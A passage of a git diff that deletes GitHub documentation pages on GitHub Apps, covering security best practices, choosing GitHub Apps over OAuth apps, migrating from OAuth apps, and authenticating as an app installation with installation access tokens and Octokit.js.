{% data variables.product.company_short %} event. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps#securing-your-webhooks-with-a-webhook-secret). For an example, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -## Allow time for users to accept new permissions - -When you add repository or organization permissions to your {% data variables.product.prodname_github_app %}, users who have the app installed on their personal account or organization will receive an email prompting them to review the new permissions. Until the user approves the new permissions, their app installation will only receive the old permissions. - -When you update permissions, you should consider making your app backwards compatible to give your users time to accept the new permissions. You can use the [installation webhook with the `new_permissions_accepted` action property](/webhooks-and-events/webhooks/webhook-events-and-payloads?actionType=new_permissions_accepted#installation) to learn when users accept new permissions for your app. - -## Use services in a secure manner - -{% data reusables.apps.app-services %} - -## Add logging and monitoring - -{% data reusables.apps.apps-logging %} - -## Enable data deletion - -If your {% data variables.product.prodname_github_app %} is available to other users or organizations, you should give users and organization owners a way to delete their data. Users should not need to email or call a support person in order to delete their data. - -## Further reading - -{% ifversion fpt or ghec %} -* [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps) -* [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps) -{% endif %} -* [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks) -* [AUTOTITLE](/rest/guides/best-practices-for-integrators) diff --git a/content/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app.md b/content/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app.md deleted file mode 100644 index fa3230bcc9f7..000000000000 --- a/content/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Deciding when to build a GitHub App -shortTitle: GitHub App versus other options -intro: 'When building an integration, you should consider using a {% data variables.product.prodname_github_app %} in the following scenarios, instead of an {% data variables.product.prodname_oauth_app %}, {% data variables.product.pat_generic%}, or {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## Using a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %} - -In general, {% data variables.product.prodname_github_apps %} are preferred over {% data variables.product.prodname_oauth_apps %}. - -Both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %} use OAuth 2.0. - -{% data variables.product.prodname_oauth_apps %} can only act on behalf of a user while {% data variables.product.prodname_github_apps %} can either act on behalf of a user or independently of a user. - -For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps). - -For information on how to migrate an existing {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/migrating-oauth-apps-to-github-apps). - -### {% data variables.product.prodname_github_apps %} offer enhanced security - -{% data variables.product.prodname_github_apps %} provide more control over what the app can do. Instead of the broad scopes that {% data variables.product.prodname_oauth_apps %} use, {% data variables.product.prodname_github_apps %} use fine-grained permissions. For example, if your app needs to read the contents of a repository, an {% data variables.product.prodname_oauth_app %} would require the `repo` scope, which would also let the app edit the repository contents and settings. A {% data variables.product.prodname_github_app %} can request read-only access to repository contents, which will not let the app take more privileged actions like editing the repository contents or settings. - -{% data variables.product.prodname_github_apps %} also offer more control over repository access. With a {% data variables.product.prodname_github_app %}, the user or organization owner who installed the app can decide what repositories the app can access. Conversely, an {% data variables.product.prodname_oauth_app %} can access every repository that the user who authorized the app can access. - -{% data variables.product.prodname_github_apps %} use short lived tokens. If the token is leaked, the token will be valid for a shorter amount of time, which reduces the damage that can be done. Conversely, {% data variables.product.prodname_oauth_app %} tokens do not expire until the person who authorized the {% data variables.product.prodname_oauth_app %} revokes the token. - -These security features help harden your {% data variables.product.prodname_github_app %}'s security by limiting the damage that could be done if your app's credentials were leaked. Additionally, this lets organizations with stricter security policies use your app. - -### {% data variables.product.prodname_github_apps %} can act independently of or on behalf of a user - -{% data variables.product.prodname_github_apps %} can act independently of a user. This is beneficial for automations that do not require user input. - -Similar to {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} can still take actions on behalf of a user. Unlike {% data variables.product.prodname_oauth_apps %}, which don't indicate that the action was performed by the app, {% data variables.product.prodname_github_apps %} indicate that the action was performed by the app on behalf of the user. - -{% data variables.product.prodname_github_apps %} are not tied to a user account and do not consume a {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. {% data variables.product.prodname_github_apps %} remain installed even when the person who initially installed the app leaves the organization. This lets your integrations continue to work even if people leave your team. - -### {% data variables.product.prodname_github_apps %} have scalable rate limits - -The rate limit for {% data variables.product.prodname_github_apps %} using an installation access token scales with the number of repositories and number of organization users. Conversely, {% data variables.product.prodname_oauth_apps %} have lower rate limits and do not scale. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/rate-limits-for-github-apps). - -### {% data variables.product.prodname_github_apps %} have built in webhooks - -{% data variables.product.prodname_github_apps %} have built-in, centralized webhooks. {% data variables.product.prodname_github_apps %} can receive webhook events for all repositories and organizations the app can access. Conversely, {% data variables.product.prodname_oauth_apps %} must configure webhooks individually for each repository and organization. - -### API access differs slightly - -In general, {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} can make the same API requests. However, there are some differences: - -* The REST API to manage check runs and check suites is only available to {% data variables.product.prodname_github_apps %}. -* Enterprise-level resources such as the enterprise object itself are not available to {% data variables.product.prodname_github_apps %}. This means that {% data variables.product.prodname_github_apps %} cannot call endpoints like `GET /enterprise/settings/license`. However, enterprise-owned organization and repository resources are available. -* Some requests may return incomplete data depending on the permissions and repository access that was granted to an {% data variables.product.prodname_github_app %}. For example, if your app makes a request to get all repositories that a user can access, the response will only include the repositories that the app was also granted access to. - -For more information about the REST API endpoints that are available to {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/rest/overview/endpoints-available-for-github-apps). - -## Choosing between a {% data variables.product.prodname_github_app %} or a {% data variables.product.pat_generic %} - - If you want to access {% data variables.product.prodname_dotcom %} resources on behalf of a user or in an organization, or you anticipate a long-lived integration, we recommend building a {% data variables.product.prodname_github_app %}. - - You can use {% data variables.product.pat_generic_plural %} for API testing or short-lived scripts. Since a {% data variables.product.pat_generic %} is associated with a user, your automation could break if the user no longer has access to the resources you need. A {% data variables.product.prodname_github_app %} installed in an organization is not dependent on a user. Additionally, unlike a user, a {% data variables.product.prodname_github_app %} does not consume a {% data variables.product.company_short %} {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. - -{% data variables.product.company_short %} supports two types of {% data variables.product.pat_generic_plural %}, but recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %} whenever possible. For more information about {% data variables.product.pat_generic_plural %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#types-of-personal-access-tokens). - -## Choosing between a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_actions %} - -{% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_actions %} both provide ways to build automation and workflow tools. - -_{% data variables.product.prodname_actions %}_ provide automation that can perform jobs like continuous integration, deployment tasks, and project management in a repository. They run directly on {% data variables.product.prodname_dotcom %}-hosted runner machines or self-hosted runners that your administrator sets up. {% data variables.product.prodname_actions %} do not run persistently. {% data variables.product.prodname_actions %} workflows run in response to events that occur in their repository, and only have access to the resources of the repository that they are set up for. However, custom actions can be shared across repositories and organizations, allowing developers to reuse and modify existing actions to meet their needs. {% data variables.product.prodname_actions %} also come with built-in secret management, which you can use to securely interact with third-party services and manage deploy keys safely. - -_{% data variables.product.prodname_github_apps %}_ run persistently on a server or compute infrastructure that you provide or run on a user device. They can react to {% data variables.product.company_short %} webhook events as well as events from outside the {% data variables.product.prodname_dotcom %} ecosystem. They are a good option for operations that span multiple repositories or organizations, or for providing hosted services to other organizations. A {% data variables.product.prodname_github_app %} is the best choice when building a tool with functions that occur primarily outside of {% data variables.product.prodname_dotcom %} or require more execution time or permissions than what a {% data variables.product.prodname_actions %} workflow is allotted. - -For more information about comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#comparing-github-actions-to-github-apps). - -You can use a {% data variables.product.prodname_github_app %} to authenticate in a {% data variables.product.prodname_actions %} -workflow if the built in `GITHUB_TOKEN` does not have sufficient permissions. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). diff --git a/content/apps/creating-github-apps/about-creating-github-apps/index.md b/content/apps/creating-github-apps/about-creating-github-apps/index.md deleted file mode 100644 index f82864c416e4..000000000000 --- a/content/apps/creating-github-apps/about-creating-github-apps/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: About creating GitHub Apps -shortTitle: About creating GitHub Apps -intro: Learn about how to create a {% data variables.product.prodname_github_app %}, including best practices and when to use a {% data variables.product.prodname_github_app %}. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /about-creating-github-apps - - /deciding-when-to-build-a-github-app - - /best-practices-for-creating-a-github-app - - /migrating-oauth-apps-to-github-apps ---- - diff --git a/content/apps/creating-github-apps/about-creating-github-apps/migrating-oauth-apps-to-github-apps.md b/content/apps/creating-github-apps/about-creating-github-apps/migrating-oauth-apps-to-github-apps.md deleted file mode 100644 index b6e358ab8a4f..000000000000 --- a/content/apps/creating-github-apps/about-creating-github-apps/migrating-oauth-apps-to-github-apps.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Migrating OAuth apps to GitHub Apps -intro: 'Learn about the advantages of migrating your {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %}, and learn how to migrate your {% data variables.product.prodname_oauth_app %}.' -redirect_from: - - /apps/migrating-oauth-apps-to-github-apps - - /developers/apps/migrating-oauth-apps-to-github-apps - - /developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps - - /apps/creating-github-apps/guides/migrating-oauth-apps-to-github-apps - - /apps/creating-github-apps/setting-up-a-github-app/migrating-oauth-apps-to-github-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: 'Migrate from {% data variables.product.prodname_oauth_apps %}' ---- - -## Benefits of migrating from {% data variables.product.prodname_oauth_apps %} to {% data variables.product.prodname_github_apps %} - -{% data variables.product.prodname_github_apps %} are the recommended way to integrate with {% data variables.product.company_short %}. {% data variables.product.prodname_github_apps %} offer many advantages over {% data variables.product.prodname_oauth_apps %}, including: - -* Enhanced security features, like fine-grained permissions, choice over repository access, and short lived tokens -* The ability to act independently of or on behalf of a user -* Scalable rate limits -* Built-in webhooks - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps#using-a-github-app-instead-of-an-oauth-app). - -## Converting an {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %} - -The following steps provide an overview of how to migrate from an {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %}. The specific steps depend on your app. - -### 1. Review your {% data variables.product.prodname_oauth_app %} - -Re-familiarize yourself with the code for your {% data variables.product.prodname_oauth_app %}. The API requests that your {% data variables.product.prodname_oauth_app %} makes will help you decide what permissions to select for your {% data variables.product.prodname_github_app %}. - -Additionally, there are a few REST API endpoints that are not available for {% data variables.product.prodname_oauth_apps %}. Verify that any REST endpoints that you use are available for {% data variables.product.prodname_github_apps %} by reviewing [AUTOTITLE](/rest/overview/endpoints-available-for-github-apps). - -### 2. Register a {% data variables.product.prodname_github_app %} - -Register a new {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -Compared to an {% data variables.product.prodname_oauth_app %}, you have more control over {% data variables.product.prodname_github_app %} settings. Some key additions are: - -* Unlike an {% data variables.product.prodname_oauth_app %}, which always acts on behalf of a user, you can make your {% data variables.product.prodname_github_app %} take actions as itself or on behalf of a user. If you do not want your new {% data variables.product.prodname_github_app %} to take actions on behalf of a user, you can skip the "Identifying and authorizing users" settings. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -* You can use webhooks to notify your {% data variables.product.prodname_github_app %} when specific events occur. Unlike webhooks for {% data variables.product.prodname_oauth_apps %}, which you must configure via the API for each repository or organization, webhooks are built into {% data variables.product.prodname_github_apps %}. When you register your {% data variables.product.prodname_github_app %}, you can select the webhook events that you want to receive. Additionally, if your {% data variables.product.prodname_oauth_app %} currently uses polling to determine if an event had occurred, consider subscribing to webhooks instead to help your {% data variables.product.prodname_github_app %} stay within the rate limit. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). - -* With an {% data variables.product.prodname_oauth_app %}, you request scopes when a user authorizes your app. With a {% data variables.product.prodname_github_app %}, you specify permissions in the app settings. These permissions are more granular than scopes and enable you to only select the permissions that your app needs. Additionally, these permissions are mapped to REST API endpoints and webhook events, so you can easily determine what permissions your {% data variables.product.prodname_github_app %} needs in order to access a specific REST API endpoint or subscribe to a specific webhook. Permissions are not currently documented for GraphQL requests. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). - -### 3. Modify the code for your app - -Once you have registered a {% data variables.product.prodname_github_app %}, adapt the code from your old {% data variables.product.prodname_oauth_app %} to work with your new {% data variables.product.prodname_github_app %}. - -#### Update authentication - -You will need to update your app's code to handle API authentication for your {% data variables.product.prodname_github_app %}. A {% data variables.product.prodname_github_app %} can authenticate in three ways: - -* As the app itself, in order to get or modify details about the {% data variables.product.prodname_github_app %} registration or to create an installation access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app). -* As an app installation, in order to take actions on behalf of itself. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). -* On behalf of a user, in order to attribute actions to a user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -If you are using {% data variables.product.company_short %}'s official Octokit.js library, you can use the built-in `App` object to authenticate. For examples, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript) and [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -#### Review rate limits - -Review the differences in rate limits between {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %} use sliding rules for rate limits, which can increase based on the number of repositories and number of users in the organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/rate-limits-for-github-apps). - -If possible, consider using conditional requests and subscribing to webhooks instead of polling to help you stay within rate limits. For more information about conditional requests, see [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api). For more information about using webhooks with your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps) and [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -#### Test your code - -Test your new {% data variables.product.prodname_github_app %} to make sure that your code works as expected. - -### 4. Publicize your new {% data variables.product.prodname_github_app %} - -If you want other accounts to be able to use your new {% data variables.product.prodname_github_app %}, make sure that your app is public.{% ifversion fpt or ghec %} If you want to make your {% data variables.product.prodname_github_app %} more discoverable, list your app in {% data variables.product.prodname_marketplace %}. {% endif %}For more information, see {% ifversion ghec or fpt %}[AUTOTITLE](/apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace) and {% endif %}[AUTOTITLE](/apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private). - -### 5. Instruct your users to migrate - -Once your new {% data variables.product.prodname_github_app %} is ready, instruct users of your old {% data variables.product.prodname_oauth_app %} to migrate to your new {% data variables.product.prodname_github_app %}. There is not a way to automatically migrate your users. Each user must install and/or authorize your {% data variables.product.prodname_github_app %} on their own. - -As the app owner, you should include calls to action to encourage your users to install/authorize the new {% data variables.product.prodname_github_app %} and revoke authorization for the old {% data variables.product.prodname_oauth_app %}. You should also update any documentation or user interface elements. - -#### Prompt users to install your {% data variables.product.prodname_github_app %} - -If you want your {% data variables.product.prodname_github_app %} to make API requests on behalf of itself or access organization or repository resources, the user must install your {% data variables.product.prodname_github_app %}. When a user installs a {% data variables.product.prodname_github_app %} on their account or organization, they choose which repositories the app can access, and they grant the app the organization and repository permissions that it requested. - -To help your users install your {% data variables.product.prodname_github_app %}, you can add a link to your app's webpage that users can click to install the {% data variables.product.prodname_github_app %}. The format of the install URL is `{% data variables.product.oauth_host_code %}/{% ifversion ghes %}github-apps{% else %}apps{% endif %}/YOUR_APP_NAME/installations/new`. Replace `YOUR_APP_NAME` with the sluggified name of your {% data variables.product.prodname_github_app %}, which you can find in the "Public link" field on the settings page for your {% data variables.product.prodname_github_app %}. - -To pre-select any repositories your {% data variables.product.prodname_oauth_app %} had access to, you can append `/permissions` and query parameters to the install URL. This helps users grant your {% data variables.product.prodname_github_app %} access to repositories that your {% data variables.product.prodname_oauth_app %} already has access to. The query parameters are: - -* `suggested_target_id`: The ID of the user or organization that is installing your {% data variables.product.prodname_github_app %}. This parameter is required. -* `repository_ids[]`: The repository IDs to select for the installation. If omitted, all repositories are selected. The maximum number of repositories that can be pre-selected is 100. To get a list of repositories that your {% data variables.product.prodname_oauth_app %} has access to, use the [List repositories for the authenticated user](/rest/repos/repos#list-repositories-for-the-authenticated-user) and [List organization repositories](/rest/repos/repos#list-organization-repositories) endpoints. - -For example: `{% data variables.product.oauth_host_code %}/{% ifversion ghes %}github-apps{% else %}apps{% endif %}/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID`. - -For more information about installing {% data variables.product.prodname_github_apps %}, see {% ifversion ghec or fpt %}[AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account), [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations),{% endif %} [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party) and [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app). - -#### Prompt users to authorize your app - -If you want your {% data variables.product.prodname_github_app %} to make API requests on behalf of a user, the user must authorize the app. When a user authorizes an app, they grant the app permission to act on their behalf, and they grant the account permissions that the app requested. If the app is installed on an organization account, each user within that organization must authorize the app in order for the app to act on their behalf. - -To prompt users to authorize your app, you will lead them through the web application flow or device flow. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -For more information about authorizing {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -#### Encourage your users to revoke {% data variables.product.prodname_oauth_app %} access - -You should also encourage your users to revoke access for your old {% data variables.product.prodname_oauth_app %}. This will help you fully transition away from your {% data variables.product.prodname_oauth_app %} and will help keep your users' data secure. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-applications-oauth). - -#### Update any interfaces or documentation - -You should update any user interface or documentation related to your app to reflect the change from an {% data variables.product.prodname_oauth_app %} to {% data variables.product.prodname_github_app %}. - -### 6. Remove webhooks for your old {% data variables.product.prodname_oauth_app %} - -When a user installs your {% data variables.product.prodname_github_app %} and grants access to a repository, you should remove any webhooks for your old {% data variables.product.prodname_oauth_app %}. If your new {% data variables.product.prodname_github_app %} and your old {% data variables.product.prodname_oauth_app %} respond to webhooks for the same event, the user may observe duplicate behavior. - -To remove repository webhooks, you can listen for the `installation_repositories` webhook with the `added` action. When your {% data variables.product.prodname_github_app %} receives that event, you can use the REST API to delete the webhook on those repositories for your {% data variables.product.prodname_oauth_app %}. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads?actionType=added#installation_repositories) and [AUTOTITLE](/rest/webhooks#delete-a-repository-webhook). - -Similarly, to remove organization webhooks, you can listen for the `installation` webhook with the `created` action. When your {% data variables.product.prodname_github_app %} receives that event for an organization, you can use the REST API to delete the webhook on that organization and corresponding repositories for your {% data variables.product.prodname_oauth_app %}. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads?actionType=created#installation), [AUTOTITLE](/rest/orgs/webhooks#delete-an-organization-webhook), and [AUTOTITLE](/rest/webhooks#delete-a-repository-webhook). - -### 7. Delete your old {% data variables.product.prodname_oauth_app %} - -Once your users have migrated to your new {% data variables.product.prodname_github_app %}, you should delete your old {% data variables.product.prodname_oauth_app %}. This will help avoid abuse of the {% data variables.product.prodname_oauth_app %}'s credentials. This action will also revoke all of the {% data variables.product.prodname_oauth_app %}'s remaining authorizations. For more information, see [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/deleting-an-oauth-app). If your {% data variables.product.prodname_oauth_app %} is listed on {% data variables.product.prodname_marketplace %}, you may need to contact {% data variables.contact.github_support %} to remove your app from the marketplace first. diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app.md deleted file mode 100644 index 48b4ffd7e19b..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: About authentication with a GitHub App -intro: 'Your {% data variables.product.prodname_github_app %} can authenticate as itself, as an app installation, or on behalf of a user.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: About authentication -redirect_from: - - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps - - /apps/building-github-apps/authentication-options-for-github-apps - - /apps/building-github-apps/authenticating-with-github-apps - - /developers/apps/authenticating-with-github-apps - - /developers/apps/building-github-apps/authenticating-with-github-apps - - /apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-github-apps ---- - -## Authentication as a {% data variables.product.prodname_github_app %} - -To authenticate as itself, your app will use a JSON Web Token (JWT). Your app should authenticate as itself when it needs to generate an installation access token. An installation access token is required to authenticate as an app installation. Your app should also authenticate as itself when it needs to make API requests to manage resources related to the app. For example, when it needs to list the accounts where it is installed. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app). - -## Authentication as an app installation - -To authenticate as an installation, your app will use an installation access token. Your app should authenticate as an app installation when you want to attribute app activity to the app. Authenticating as an app installation lets your app access resources that are owned by the user or organization that installed the app. Authenticating as an app installation is ideal for automation workflows that don't involve user input. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app). - -## Authentication on behalf of a user - -To authenticate on behalf of a user, your app will use a user access token. Your app should authenticate on behalf of a user when you want to attribute app activity to a user. Similar to authenticating as an app installation, your app can access resources that are owned by the user or organization that installed the app. Authenticating on behalf of a user is ideal when you want to ensure that your app only takes actions that could be performed by a specific user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation.md deleted file mode 100644 index d2ac68fbed59..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Authenticating as a GitHub App installation -shortTitle: Authenticate as an installation -intro: You can make your {% data variables.product.prodname_github_app %} authenticate as an installation in order to make API requests that affect resources owned by the account where the app is installed. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About authentication as a {% data variables.product.prodname_github_app %} installation - -Once your {% data variables.product.prodname_github_app %} is installed on an account, you can make it authenticate as an app installation for API requests. This allows the app to access resources owned by that installation, as long as the app was granted the necessary repository access and permissions. API requests made by an app installation are attributed to the app. For more information about installing GitHub Apps, see [Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps). - -For example, if you want your app to change the `Status` field of an issue on a project owned by an organization called "octo-org," then you would authenticate as the octo-org installation of your app. The timeline of the issue would state that your app updated the status. - -To make an API request as an installation, you must first generate an installation access token. Then, you will send the installation access token in the `Authorization` header of your subsequent API requests. You can also use {% data variables.product.company_short %}'s Octokit SDKs, which can generate an installation access token for you. - -Some REST API endpoints do not accept installation access tokens, and most REST API endpoints require your app to have certain permissions to use an endpoint. To see whether a REST API endpoint accepts installation access tokens and to see what permissions are required, refer to the documentation for the endpoint. - -App installations can also use the GraphQL API. Similar to the REST API, the app must have certain permissions to access objects in the GraphQL API. For GraphQL requests, you should test that your app has the required permissions for the GraphQL queries and mutations that you want to make. - -You can also use an installation access token to authenticate for HTTP-based Git access. Your app must have the "Contents" repository permission. You can then use the installation access token as the HTTP password. Replace `TOKEN` with the installation access token: `git clone https://x-access-token:TOKEN@github.com/owner/repo.git`. - -Requests made with an installation access token are sometimes called "server-to-server" requests. - -For more information about authenticating as an app on behalf of a user instead of as an app installation, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps). - -## Using an installation access token to authenticate as an app installation - -To authenticate as an installation with an installation access token, first use the REST API to generate an installation access token. Then, use that installation access token in the `Authorization` header of a REST API or GraphQL API request. The installation access token will expire after 1 hour. - -### Generating an installation access token - -{% data reusables.apps.generate-installation-access-token %} - -### Authenticating with an installation access token - -To authenticate with an installation access token, include it in the `Authorization` header of an API request. The access token will work with both the GraphQL API and the REST API. - -Your app must have the required permissions to use the endpoint. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -In the following example, replace `INSTALLATION_ACCESS_TOKEN` with an installation access token: - -```shell -curl --request GET \ ---url "{% data variables.product.rest_url %}/meta" \ ---header "Accept: application/vnd.github+json" \ ---header "Authorization: Bearer INSTALLATION_ACCESS_TOKEN" \ ---header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" -``` - -## Using the Octokit.js SDK to authenticate as an app installation - -You can use {% data variables.product.company_short %}'s Octokit.js SDK to authenticate as an app installation. One advantage of using the SDK to authenticate is that you do not need to generate a JSON web token (JWT) yourself. Additionally, the SDK will take care of regenerating an installation access token for you so you don't need to worry about the one hour expiration. - -> [!NOTE] -> You must install and import `octokit` in order to use the Octokit.js library. The following example uses import statements in accordance with ES6. For more information about different installation and import methods, see [the Octokit.js README's Usage section](https://github.com/octokit/octokit.js/#usage). - -### Using Octokit.js to authenticate with an installation ID - -1. Get the ID of your {% data variables.product.prodname_github_app %}. You can find your app's ID on the settings page for your {% data variables.product.prodname_github_app %}. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). -1. Generate a private key. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. Get the ID of the installation that you want to authenticate as. - - If you are responding to a webhook event, the webhook payload will include the installation ID. - - You can also use the REST API to find the ID for an installation of your app. For example, you can get an installation ID with the `GET /users/{username}/installation`, `GET /repos/{owner}/{repo}/installation`, `GET /orgs/{org}/installation`, or `GET /app/installations` endpoints. For more information, see [AUTOTITLE](/rest/apps/apps). -1. Import `App` from `octokit`. Create a new instance of `App`. In the following example, replace `APP_ID` with a reference to your app's ID. Replace `PRIVATE_KEY` with a reference to your app's private key. - - ```javascript copy - import { App } from "octokit"; - - const app = new App({ - appId: APP_ID, - privateKey: PRIVATE_KEY, - }); - ``` - -1. Use the `getInstallationOctokit` method to create an authenticated `octokit` instance. In the following example, replace `INSTALLATION_ID` with the ID of the installation of your app that you want to authenticate on behalf of. - - ```javascript copy - const octokit = await app.getInstallationOctokit(INSTALLATION_ID); - ``` - -1. Use an `octokit` method to make a request to the API. - - Your app must have the required permissions to use the endpoint. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - - For example, to make a request to the GraphQL API: - - ```javascript copy - await octokit.graphql(` - query { - viewer { - login - } - } - `) - ``` - - For example, to make a request to the REST API: - - ```javascript copy - await octokit.request("GET /meta") - ``` - -### Using Octokit.js to authenticate in response to a webhook event - -The Octokit.js SDK also passes a pre-authenticated `octokit` instance to webhook event handlers. - -1. Get the ID of your {% data variables.product.prodname_github_app %}. You can find your app's ID on the settings page for your {% data variables.product.prodname_github_app %}. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). -1. Generate a private key. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. Get the webhook secret that you specified in your app's settings. For more information about webhook secrets, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps#securing-your-webhooks-with-a-webhook-secret). -1. Import `App` from `octokit`. Create a new instance of `App`. In the following example, replace 